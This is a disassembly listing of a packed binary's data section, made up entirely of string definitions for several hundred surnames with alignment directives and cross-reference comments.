aMetropolis db 'Metropolis',0 ; DATA XREF: .packed:0042E4D0o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .packed:0042E4CCo
aMerz db 'Merz',0 ; DATA XREF: .packed:0042E4C8o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .packed:0042E4C4o
aMerminod db 'Merminod',0 ; DATA XREF: .packed:0042E4C0o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .packed:0042E4BCo
aMerikoski db 'Merikoski',0 ; DATA XREF: .packed:0042E4B8o
align 10h
aMenzies db 'Menzies',0 ; DATA XREF: .packed:0042E4B4o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .packed:0042E4B0o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: .packed:0042E4ACo
aMcnulty db 'Mcnulty',0 ; DATA XREF: .packed:0042E4A8o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .packed:0042E4A4o
aMclaren db 'Mclaren',0 ; DATA XREF: .packed:0042E4A0o
aMclane db 'Mclane',0 ; DATA XREF: .packed:0042E49Co
align 10h
aMckenna db 'Mckenna',0 ; DATA XREF: .packed:0042E498o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .packed:0042E494o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .packed:0042E490o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .packed:0042E48Co
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .packed:0042E488o
align 10h
aMcfadden db 'McFadden',0 ; DATA XREF: .packed:0042E484o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .packed:0042E480o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .packed:0042E47Co
align 10h
aMcclearn db 'Mcclearn',0 ; DATA XREF: .packed:0042E478o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .packed:0042E474o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: .packed:0042E470o
align 10h
aMcbride db 'Mcbride',0 ; DATA XREF: .packed:0042E46Co
aMazziotta db 'Mazziotta',0 ; DATA XREF: .packed:0042E468o
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: .packed:0042E464o
aMay db 'May',0 ; DATA XREF: .packed:0042E460o
aMauzy db 'Mauzy',0 ; DATA XREF: .packed:0042E45Co
align 4
aMattson db 'Mattson',0 ; DATA XREF: .packed:0042E458o
aMatsukata db 'Matsukata',0 ; DATA XREF: .packed:0042E454o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .packed:0042E450o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .packed:0042E44Co
aMass db 'Mass',0 ; DATA XREF: .packed:0042E448o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .packed:0042E444o
align 4
aMarton db 'Marton',0 ; DATA XREF: .packed:0042E440o
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .packed:0042E43Co
align 4
aMartinez db 'Martinez',0 ; DATA XREF: .packed:0042E438o
align 4
aMarques db 'Marques',0 ; DATA XREF: .packed:0042E434o
aMargetts db 'Margetts',0 ; DATA XREF: .packed:0042E430o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .packed:0042E42Co
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .packed:0042E428o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .packed:0042E424o
align 4
aMarch db 'March',0 ; DATA XREF: .packed:0042E420o
align 10h
aMantovan db 'Mantovan',0 ; DATA XREF: .packed:0042E41Co
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .packed:0042E418o
aMandel db 'Mandel',0 ; DATA XREF: .packed:0042E414o
align 10h
aManalis db 'Manalis',0 ; DATA XREF: .packed:0042E410o
aMalova db 'Malova',0 ; DATA XREF: .packed:0042E40Co
align 10h
aMaller db 'Maller',0 ; DATA XREF: .packed:0042E408o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: .packed:0042E404o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .packed:0042E400o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .packed:0042E3FCo
align 4
aMaier db 'Maier',0 ; DATA XREF: .packed:0042E3F8o
align 4
aMahony db 'Mahony',0 ; DATA XREF: .packed:0042E3F4o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: .packed:0042E3F0o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .packed:0042E3ECo
aMacy db 'Macy',0 ; DATA XREF: .packed:0042E3E8o
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .packed:0042E3E4o
align 10h
aMackenney db 'Mackenney',0 ; DATA XREF: .packed:0042E3E0o
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .packed:0042E3DCo
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .packed:0042E3D8o
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .packed:0042E3D4o
align 10h
aMaccormac db 'Maccormac',0 ; DATA XREF: .packed:0042E3D0o
align 4
aMa db 'Ma',0 ; DATA XREF: .packed:0042E3CCo
align 10h
aLuzader db 'Luzader',0 ; DATA XREF: .packed:0042E3C8o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .packed:0042E3C4o
align 4
aLussier db 'Lussier',0 ; DATA XREF: .packed:0042E3C0o
aLuoma db 'Luoma',0 ; DATA XREF: .packed:0042E3BCo
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .packed:0042E3B8o
aLuecke db 'Luecke',0 ; DATA XREF: .packed:0042E3B4o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: .packed:0042E3B0o
aLuciano db 'Luciano',0 ; DATA XREF: .packed:0042E3ACo
aLucas db 'Lucas',0 ; DATA XREF: .packed:0042E3A8o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .packed:0042E3A4o
align 4
aLoza db 'Loza',0 ; DATA XREF: .packed:0042E3A0o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .packed:0042E39Co
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .packed:0042E398o
aLoss db 'Loss',0 ; DATA XREF: .packed:0042E394o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .packed:0042E390o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: .packed:0042E38Co
align 10h
aLizardo db 'Lizardo',0 ; DATA XREF: .packed:0042E388o
aLivolsi db 'Livolsi',0 ; DATA XREF: .packed:0042E384o
aLivi db 'Livi',0 ; DATA XREF: .packed:0042E380o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .packed:0042E37Co
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .packed:0042E378o
align 4
aLittle db 'Little',0 ; DATA XREF: .packed:0042E374o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .packed:0042E370o
align 10h
aLippmann db 'Lippmann',0 ; DATA XREF: .packed:0042E36Co
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .packed:0042E368o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .packed:0042E364o
aLine db 'Line',0 ; DATA XREF: .packed:0042E360o
align 4
aLinder db 'Linder',0 ; DATA XREF: .packed:0042E35Co
align 4
aLinda db 'Linda',0 ; DATA XREF: .packed:0042E358o
align 4
aLinares db 'Linares',0 ; DATA XREF: .packed:0042E354o
aLim db 'Lim',0 ; DATA XREF: .packed:0042E350o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .packed:0042E34Co
align 4
aLight db 'Light',0 ; DATA XREF: .packed:0042E348o
align 4
aLiem db 'Liem',0 ; DATA XREF: .packed:0042E344o
align 4
aLidano db 'Lidano',0 ; DATA XREF: .packed:0042E340o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .packed:0042E33Co
align 4
aLessi db 'Lessi',0 ; DATA XREF: .packed:0042E338o
align 4
aLesser db 'Lesser',0 ; DATA XREF: .packed:0042E334o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .packed:0042E330o
align 4
aLenard db 'Lenard',0 ; DATA XREF: .packed:0042E32Co
align 10h
aLeite db 'Leite',0 ; DATA XREF: .packed:0042E328o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .packed:0042E324o
align 4
aLecce db 'Lecce',0 ; DATA XREF: .packed:0042E320o
align 4
aLecar db 'Lecar',0 ; DATA XREF: .packed:0042E31Co
align 4
aLawless db 'Lawless',0 ; DATA XREF: .packed:0042E318o
aLashley db 'Lashley',0 ; DATA XREF: .packed:0042E314o
aLaserna db 'Laserna',0 ; DATA XREF: .packed:0042E310o
aLanzit db 'Lanzit',0 ; DATA XREF: .packed:0042E30Co
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .packed:0042E308o
align 10h
aLankes db 'Lankes',0 ; DATA XREF: .packed:0042E304o
align 4
aLandes db 'Landes',0 ; DATA XREF: .packed:0042E300o
align 10h
aLallemant db 'Lallemant',0 ; DATA XREF: .packed:0042E2FCo
; .packed:00432954o
align 4
aLaing db 'Laing',0 ; DATA XREF: .packed:0042E2F8o
; .packed:off_4327F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: .packed:0042E2F4o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .packed:0042E2F0o
aLa db 'La',0 ; DATA XREF: .packed:0042E2ECo
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .packed:0042E2E8o
align 4
aKusman db 'Kusman',0 ; DATA XREF: .packed:0042E2E4o
align 4
aKumar db 'Kumar',0 ; DATA XREF: .packed:0042E2E0o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: .packed:0042E2DCo
aKrysiak db 'Krysiak',0 ; DATA XREF: .packed:0042E2D8o
aKroemer db 'Kroemer',0 ; DATA XREF: .packed:0042E2D4o
aKraus db 'Kraus',0 ; DATA XREF: .packed:0042E2D0o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .packed:0042E2CCo
aKrailo db 'Krailo',0 ; DATA XREF: .packed:0042E2C8o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .packed:0042E2C4o
aKovaks db 'Kovaks',0 ; DATA XREF: .packed:0042E2C0o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .packed:0042E2BCo
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .packed:0042E2B8o
align 4
aKool db 'Kool',0 ; DATA XREF: .packed:0042E2B4o
align 10h
aKonrad db 'Konrad',0 ; DATA XREF: .packed:0042E2B0o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .packed:0042E2ACo
align 4
aKommer db 'Kommer',0 ; DATA XREF: .packed:0042E2A8o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .packed:0042E2A4o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .packed:0042E2A0o
align 10h
aKoch db 'Koch',0 ; DATA XREF: .packed:0042E29Co
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .packed:0042E298o
aKnuff db 'Knuff',0 ; DATA XREF: .packed:0042E294o
align 4
aKlint db 'Klint',0 ; DATA XREF: .packed:0042E290o
align 10h
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .packed:0042E28Co
aKling db 'Kling',0 ; DATA XREF: .packed:0042E288o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: .packed:0042E284o
align 10h
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .packed:0042E280o
aKleiman db 'Kleiman',0 ; DATA XREF: .packed:0042E27Co
aKleckner db 'Kleckner',0 ; DATA XREF: .packed:0042E278o
align 10h
aKittridge db 'Kittridge',0 ; DATA XREF: .packed:0042E274o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .packed:0042E270o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .packed:0042E26Co
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: .packed:0042E268o
aKindall db 'Kindall',0 ; DATA XREF: .packed:0042E264o
aKimura db 'Kimura',0 ; DATA XREF: .packed:0042E260o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .packed:0042E25Co
aKimmel db 'Kimmel',0 ; DATA XREF: .packed:0042E258o
align 4
aKhong db 'Khong',0 ; DATA XREF: .packed:0042E254o
align 4
aKeul db 'Keul',0 ; DATA XREF: .packed:0042E250o
align 4
aKerry db 'Kerry',0 ; DATA XREF: .packed:0042E24Co
align 4
aKendall db 'Kendall',0 ; DATA XREF: .packed:0042E248o
aKemsley db 'Kemsley',0 ; DATA XREF: .packed:0042E244o
aKempton db 'Kempton',0 ; DATA XREF: .packed:0042E240o
aKelsey db 'Kelsey',0 ; DATA XREF: .packed:0042E23Co
align 4
aKelker db 'Kelker',0 ; DATA XREF: .packed:0042E238o
align 4
aKeith db 'Keith',0 ; DATA XREF: .packed:0042E234o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .packed:0042E230o
aKeenan db 'Keenan',0 ; DATA XREF: .packed:0042E22Co
align 4
aKee db 'Kee',0 ; DATA XREF: .packed:0042E228o
aKawachi db 'Kawachi',0 ; DATA XREF: .packed:0042E224o
aKasten db 'Kasten',0 ; DATA XREF: .packed:0042E220o
align 4
aKassower db 'Kassower',0 ; DATA XREF: .packed:0042E21Co
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .packed:0042E218o
align 10h
aKangis db 'Kangis',0 ; DATA XREF: .packed:0042E214o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .packed:0042E210o
align 10h
aKalman db 'Kalman',0 ; DATA XREF: .packed:0042E20Co
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .packed:0042E208o
align 4
aKalil db 'Kalil',0 ; DATA XREF: .packed:0042E204o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .packed:0042E200o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .packed:0042E1FCo
aKafadar db 'Kafadar',0 ; DATA XREF: .packed:0042E1F8o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .packed:0042E1F4o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: .packed:0042E1F0o
aJulious db 'Julious',0 ; DATA XREF: .packed:0042E1ECo
aJuliano db 'Juliano',0 ; DATA XREF: .packed:0042E1E8o
aJucks db 'Jucks',0 ; DATA XREF: .packed:0042E1E4o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .packed:0042E1E0o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .packed:0042E1DCo
align 4
aJohns db 'Johns',0 ; DATA XREF: .packed:0042E1D8o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: .packed:0042E1D4o
align 10h
aJohannesson db 'Johannesson',0 ; DATA XREF: .packed:0042E1D0o
aJewett db 'Jewett',0 ; DATA XREF: .packed:0042E1CCo
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: .packed:0042E1C8o
align 10h
aJenkins db 'Jenkins',0 ; DATA XREF: .packed:0042E1C4o
aJellis db 'Jellis',0 ; DATA XREF: .packed:0042E1C0o
align 10h
aJeffers db 'Jeffers',0 ; DATA XREF: .packed:0042E1BCo
aJay db 'Jay',0 ; DATA XREF: .packed:0042E1B8o
aJarrell db 'Jarrell',0 ; DATA XREF: .packed:0042E1B4o
aJarnagin db 'Jarnagin',0 ; DATA XREF: .packed:0042E1B0o
align 10h
aJanjigian db 'Janjigian',0 ; DATA XREF: .packed:0042E1ACo
align 4
aJamil db 'Jamil',0 ; DATA XREF: .packed:0042E1A8o
align 4
aJain db 'Jain',0 ; DATA XREF: .packed:0042E1A4o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .packed:0042E1A0o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .packed:0042E19Co
align 4
aJagers db 'Jagers',0 ; DATA XREF: .packed:0042E198o
align 4
aJackson db 'Jackson',0 ; DATA XREF: .packed:0042E194o
aJacenko db 'Jacenko',0 ; DATA XREF: .packed:0042E190o
aIyer db 'Iyer',0 ; DATA XREF: .packed:0042E18Co
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .packed:0042E188o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .packed:0042E184o
align 10h
aIsaievych db 'Isaievych',0 ; DATA XREF: .packed:0042E180o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .packed:0042E17Co
align 4
aInniss db 'Inniss',0 ; DATA XREF: .packed:0042E178o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .packed:0042E174o
aIgarashi db 'Igarashi',0 ; DATA XREF: .packed:0042E170o
align 10h
aIchikawa db 'Ichikawa',0 ; DATA XREF: .packed:0042E16Co
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .packed:0042E168o
align 4
aHyde db 'Hyde',0 ; DATA XREF: .packed:0042E164o
align 10h
aHutchings db 'Hutchings',0 ; DATA XREF: .packed:0042E160o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .packed:0042E15Co
align 4
aHupp db 'Hupp',0 ; DATA XREF: .packed:0042E158o
align 10h
aHuntington db 'Huntington',0 ; DATA XREF: .packed:0042E154o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .packed:0042E150o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .packed:0042E14Co
align 4
aHuey db 'Huey',0 ; DATA XREF: .packed:0042E148o
align 4
aHoy db 'Hoy',0 ; DATA XREF: .packed:0042E144o
aHoward db 'Howard',0 ; DATA XREF: .packed:0042E140o
align 4
aHottle db 'Hottle',0 ; DATA XREF: .packed:0042E13Co
align 10h
aHostage db 'Hostage',0 ; DATA XREF: .packed:0042E138o
aHoshida db 'Hoshida',0 ; DATA XREF: .packed:0042E134o
aHorsley db 'Horsley',0 ; DATA XREF: .packed:0042E130o
aHopkins db 'Hopkins',0 ; DATA XREF: .packed:0042E12Co
aHooker db 'Hooker',0 ; DATA XREF: .packed:0042E128o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .packed:0042E124o
aHolway db 'Holway',0 ; DATA XREF: .packed:0042E120o
align 4
aHolter db 'Holter',0 ; DATA XREF: .packed:0042E11Co
align 10h
aHoloien db 'Holoien',0 ; DATA XREF: .packed:0042E118o
aHolmes db 'Holmes',0 ; DATA XREF: .packed:0042E114o
align 10h
aHokoda db 'Hokoda',0 ; DATA XREF: .packed:0042E110o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: .packed:0042E10Co
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .packed:0042E108o
aHoffer db 'Hoffer',0 ; DATA XREF: .packed:0042E104o
align 4
aHock db 'Hock',0 ; DATA XREF: .packed:0042E100o
align 4
aHoang db 'Hoang',0 ; DATA XREF: .packed:0042E0FCo
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .packed:0042E0F8o
align 10h
aHirst db 'Hirst',0 ; DATA XREF: .packed:0042E0F4o
align 4
aHind db 'Hind',0 ; DATA XREF: .packed:0042E0F0o
align 10h
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .packed:0042E0ECo
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .packed:0042E0E8o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .packed:0042E0E4o
aHester db 'Hester',0 ; DATA XREF: .packed:0042E0E0o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .packed:0042E0DCo
aHernandez db 'Hernandez',0 ; DATA XREF: .packed:0042E0D8o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .packed:0042E0D4o
align 4
aHenery db 'Henery',0 ; DATA XREF: .packed:0042E0D0o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .packed:0042E0CCo
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .packed:0042E0C8o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .packed:0042E0C4o
align 4
aHellman db 'Hellman',0 ; DATA XREF: .packed:0042E0C0o
aHeiland db 'Heiland',0 ; DATA XREF: .packed:0042E0BCo
aHeft db 'Heft',0 ; DATA XREF: .packed:0042E0B8o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .packed:0042E0B4o
align 10h
aHazlewood db 'Hazlewood',0 ; DATA XREF: .packed:0042E0B0o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .packed:0042E0ACo
align 4
aHayes db 'Hayes',0 ; DATA XREF: .packed:0042E0A8o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .packed:0042E0A4o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: .packed:0042E0A0o
align 10h
aHarwell db 'Harwell',0 ; DATA XREF: .packed:0042E09Co
aHartnett db 'Hartnett',0 ; DATA XREF: .packed:0042E098o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: .packed:0042E094o
align 10h
aHartman db 'Hartman',0 ; DATA XREF: .packed:0042E090o
aHarrigan db 'Harrigan',0 ; DATA XREF: .packed:0042E08Co
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .packed:0042E088o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .packed:0042E084o
align 4
aHarding db 'Harding',0 ; DATA XREF: .packed:0042E080o
aHanssen db 'Hanssen',0 ; DATA XREF: .packed:0042E07Co
aHand db 'Hand',0 ; DATA XREF: .packed:0042E078o
align 10h
aHammerness db 'Hammerness',0 ; DATA XREF: .packed:0042E074o
align 4
aHamer db 'Hamer',0 ; DATA XREF: .packed:0042E070o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .packed:0042E06Co
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .packed:0042E068o
aHallowell db 'Hallowell',0 ; DATA XREF: .packed:0042E064o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .packed:0042E060o
aHaley db 'Haley',0 ; DATA XREF: .packed:0042E05Co
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: .packed:0042E058o
align 4
aHackman db 'Hackman',0 ; DATA XREF: .packed:0042E054o
aHaar db 'Haar',0 ; DATA XREF: .packed:0042E050o
align 4
aHa db 'Ha',0 ; DATA XREF: .packed:0042E04Co
align 4
aGuo db 'Guo',0 ; DATA XREF: .packed:0042E048o
aGunn db 'Gunn',0 ; DATA XREF: .packed:0042E044o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .packed:0042E040o
align 10h
aGruppe db 'Gruppe',0 ; DATA XREF: .packed:0042E03Co
align 4
aGruner db 'Gruner',0 ; DATA XREF: .packed:0042E038o
align 10h
aGrummell db 'Grummell',0 ; DATA XREF: .packed:0042E034o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .packed:0042E030o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .packed:0042E02Co
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .packed:0042E028o
align 10h
aGreenberg db 'Greenberg',0 ; DATA XREF: .packed:0042E024o
align 4
aGravell db 'Gravell',0 ; DATA XREF: .packed:0042E020o
aGozzi db 'Gozzi',0 ; DATA XREF: .packed:0042E01Co
align 4
aGoody db 'Goody',0 ; DATA XREF: .packed:0042E018o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .packed:0042E014o
align 10h
aGood db 'Good',0 ; DATA XREF: .packed:0042E010o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .packed:0042E00Co
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .packed:0042E008o
align 10h
aGlendon db 'Glendon',0 ; DATA XREF: .packed:0042E004o
aGlegg db 'Glegg',0 ; DATA XREF: .packed:0042E000o
align 10h
aGleason db 'Gleason',0 ; DATA XREF: .packed:0042DFFCo
aGist db 'Gist',0 ; DATA XREF: .packed:0042DFF8o
align 10h
aGillispie db 'Gillispie',0 ; DATA XREF: .packed:0042DFF4o
align 4
aGill db 'Gill',0 ; DATA XREF: .packed:0042DFF0o
align 4
aGili db 'Gili',0 ; DATA XREF: .packed:0042DFECo
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .packed:0042DFE8o
aGibson db 'Gibson',0 ; DATA XREF: .packed:0042DFE4o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .packed:0042DFE0o
aGhorai db 'Ghorai',0 ; DATA XREF: .packed:0042DFDCo
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .packed:0042DFD8o
aGeorgi db 'Georgi',0 ; DATA XREF: .packed:0042DFD4o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .packed:0042DFD0o
align 4
aGeller db 'Geller',0 ; DATA XREF: .packed:0042DFCCo
align 10h
aGaronna db 'Garonna',0 ; DATA XREF: .packed:0042DFC8o
aGarman db 'Garman',0 ; DATA XREF: .packed:0042DFC4o
align 10h
aGarfield db 'Garfield',0 ; DATA XREF: .packed:0042DFC0o
align 4
aGambini db 'Gambini',0 ; DATA XREF: .packed:0042DFBCo
aGalwey db 'Galwey',0 ; DATA XREF: .packed:0042DFB8o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .packed:0042DFB4o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .packed:0042DFB0o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .packed:0042DFACo
align 10h
aFusaro db 'Fusaro',0 ; DATA XREF: .packed:0042DFA8o
align 4
aFurth db 'Furth',0 ; DATA XREF: .packed:0042DFA4o
align 10h
aFuller db 'Fuller',0 ; DATA XREF: .packed:0042DFA0o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .packed:0042DF9Co
align 4
aFrye db 'Frye',0 ; DATA XREF: .packed:0042DF98o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .packed:0042DF94o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: .packed:0042DF90o
aFrisken db 'Frisken',0 ; DATA XREF: .packed:0042DF8Co
aFriedland db 'Friedland',0 ; DATA XREF: .packed:0042DF88o
align 4
aFried db 'Fried',0 ; DATA XREF: .packed:0042DF84o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .packed:0042DF80o
align 4
aFreid db 'Freid',0 ; DATA XREF: .packed:0042DF7Co
align 10h
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .packed:0042DF78o
align 10h
aFranz db 'Franz',0 ; DATA XREF: .packed:0042DF74o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .packed:0042DF70o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .packed:0042DF6Co
align 4
aFossi db 'Fossi',0 ; DATA XREF: .packed:0042DF68o
align 4
aFossey db 'Fossey',0 ; DATA XREF: .packed:0042DF64o
align 4
aFortier db 'Fortier',0 ; DATA XREF: .packed:0042DF60o
aFortes db 'Fortes',0 ; DATA XREF: .packed:0042DF5Co
align 4
aForester db 'Forester',0 ; DATA XREF: .packed:0042DF58o
align 10h
aFolks db 'Folks',0 ; DATA XREF: .packed:0042DF54o
align 4
aFlores db 'Flores',0 ; DATA XREF: .packed:0042DF50o
align 10h
aFlier db 'Flier',0 ; DATA XREF: .packed:0042DF4Co
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .packed:0042DF48o
aFisk db 'Fisk',0 ; DATA XREF: .packed:0042DF44o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .packed:0042DF40o
aFinnegan db 'Finnegan',0 ; DATA XREF: .packed:0042DF3Co
align 10h
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .packed:0042DF38o
aFink db 'Fink',0 ; DATA XREF: .packed:0042DF34o
align 4
aField db 'Field',0 ; DATA XREF: .packed:0042DF30o
align 4
aFido db 'Fido',0 ; DATA XREF: .packed:0042DF2Co
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .packed:0042DF28o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .packed:0042DF24o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .packed:0042DF20o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: .packed:0042DF1Co
align 10h
aFernald db 'Fernald',0 ; DATA XREF: .packed:0042DF18o
aFeldman db 'Feldman',0 ; DATA XREF: .packed:0042DF14o
aFejzo db 'Fejzo',0 ; DATA XREF: .packed:0042DF10o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .packed:0042DF0Co
align 4
aFates db 'Fates',0 ; DATA XREF: .packed:0042DF08o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .packed:0042DF04o
align 4
aFarren db 'Farren',0 ; DATA XREF: .packed:0042DF00o
align 4
aFarone db 'Farone',0 ; DATA XREF: .packed:0042DEFCo
align 4
aFaris db 'Faris',0 ; DATA XREF: .packed:0042DEF8o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .packed:0042DEF4o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .packed:0042DEF0o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .packed:0042DEECo
align 4
aFagan db 'Fagan',0 ; DATA XREF: .packed:0042DEE8o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: .packed:0042DEE4o
aEverett db 'Everett',0 ; DATA XREF: .packed:0042DEE0o
aEuripides db 'Euripides',0 ; DATA XREF: .packed:0042DEDCo
align 10h
aEtter db 'Etter',0 ; DATA XREF: .packed:0042DED8o
align 4
aEstes db 'Estes',0 ; DATA XREF: .packed:0042DED4o
align 10h
aEspinoza db 'Espinoza',0 ; DATA XREF: .packed:0042DED0o
align 4
aErez db 'Erez',0 ; DATA XREF: .packed:0042DECCo
align 4
aErdos db 'Erdos',0 ; DATA XREF: .packed:0042DEC8o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .packed:0042DEC4o
align 4
aErbach db 'Erbach',0 ; DATA XREF: .packed:0042DEC0o
align 4
aEppling db 'Eppling',0 ; DATA XREF: .packed:0042DEBCo
aEnyeart db 'Enyeart',0 ; DATA XREF: .packed:0042DEB8o
